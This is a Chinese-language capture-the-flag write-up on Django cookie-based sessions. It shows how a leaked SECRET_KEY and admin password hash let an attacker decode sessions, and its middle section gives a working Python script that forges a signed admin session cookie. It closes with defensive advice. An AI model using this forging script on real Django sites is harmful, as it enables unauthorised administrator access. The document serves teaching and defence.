Django Cookie-Session 安全性分析与利用

背景介绍

本文基于hackgame2019的一道Web题目，分析Django框架中cookie-based session的安全机制及其潜在风险。题目场景是一个Django应用的管理员声称即使代码和数据库被泄露，由于admin密码长达1024位，攻击者也无法获取flag。

Django Session机制

Django支持多种session存储方式：

1. 数据库支持的会话 (database-backed sessions)
2. 缓存会话 (cached sessions)
3. 基于文件的会话 (file-based sessions)
4. 基于cookie的会话 (cookie-based sessions)

在本题中，配置使用了signed_cookies作为session存储方式：

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_COOKIE_HTTPONLY = False  # 允许JavaScript访问cookie

Django签名机制

Django使用签名算法保护cookie数据，主要API：

from django.core import signing

# 编码
value = signing.dumps({"foo": "bar"})  # 输出类似: 'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'

# 解码
signing.loads(value)  # 输出: {'foo': 'bar'}

关键参数：

• key: 签名密钥，默认使用SECRET_KEY
• salt: 加盐字符串，默认"django.core.signing"

题目分析

1. 获取关键信息

从泄露的源码中获取：

• SECRET_KEY: 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
• 示例session cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GXEI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ

2. Session解码

发现默认salt不适用，需使用特定salt：

signing.loads(
    session_cookie,
    key=SECRET_KEY,
    salt='django.contrib.sessions.backends.signed_cookies'
)

解码后得到session内容：

{
    '_auth_user_id': '2',  # 用户ID
    '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
    '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'
}

3. 认证哈希分析

_auth_user_hash由以下方式生成：

def get_session_auth_hash(self):
    key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
    return salted_hmac(key_salt, self.password).hexdigest()

其中：

• self.password是数据库中存储的密码哈希值（非原始密码）
• 密码哈希格式示例：pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM=

攻击步骤

1. 伪造管理员session

已知：

• 管理员用户ID为1
• 管理员密码哈希：pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=

构造伪造session：

from django.core import signing
from django.utils.crypto import salted_hmac

SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='
signed_cookie_salt = 'django.contrib.sessions.backends.signed_cookies'
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"

# 构造伪造session字典
fake_admin_session = {
    '_auth_user_id': '1',  # 管理员ID
    '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
    '_auth_user_hash': salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest()
}

# 编码为cookie
fake_admin_cookie = signing.dumps(fake_admin_session, key=SECRET_KEY, salt=signed_cookie_salt)
print(fake_admin_cookie)

2. 使用伪造cookie登录

将生成的cookie通过浏览器或curl等方式提交给服务器，即可获得管理员权限。

安全防护机制分析

题目场景中存在两重防护：

1. Django框架层防护：依赖SECRET_KEY保护session不被篡改
2. Django-admin应用层防护：依赖_auth_user_hash确保攻击者需要知道密码哈希

当两者同时泄露时（如本题中代码和数据库都被泄露），防护即被突破。

防御建议

1. 保护SECRET_KEY：

   • 不要将SECRET_KEY放入版本控制
   • 使用环境变量或密钥管理服务
   • 定期轮换SECRET_KEY

2. 加强session安全：

   • 优先使用服务器端session存储（数据库或缓存）
   • 确保SESSION_COOKIE_HTTPONLY=True
   • 考虑使用SESSION_COOKIE_SECURE=True（仅HTTPS）
   • 设置合理的SESSION_COOKIE_AGE

3. 密码哈希保护：

   • 将密码哈希视为敏感信息保护
   • 使用强哈希算法（如PBKDF2, bcrypt等）
   • 考虑额外pepper机制

总结

通过本题分析，我们了解到：

1. Django的cookie-based session实现细节
2. 签名机制中salt参数的重要性
3. Django-admin的额外认证哈希机制
4. 当SECRET_KEY和密码哈希同时泄露时的风险
5. 如何构造伪造session进行权限提升

这提醒开发者在实现认证系统时需要考虑纵深防御，避免单点失效导致整个系统被攻破。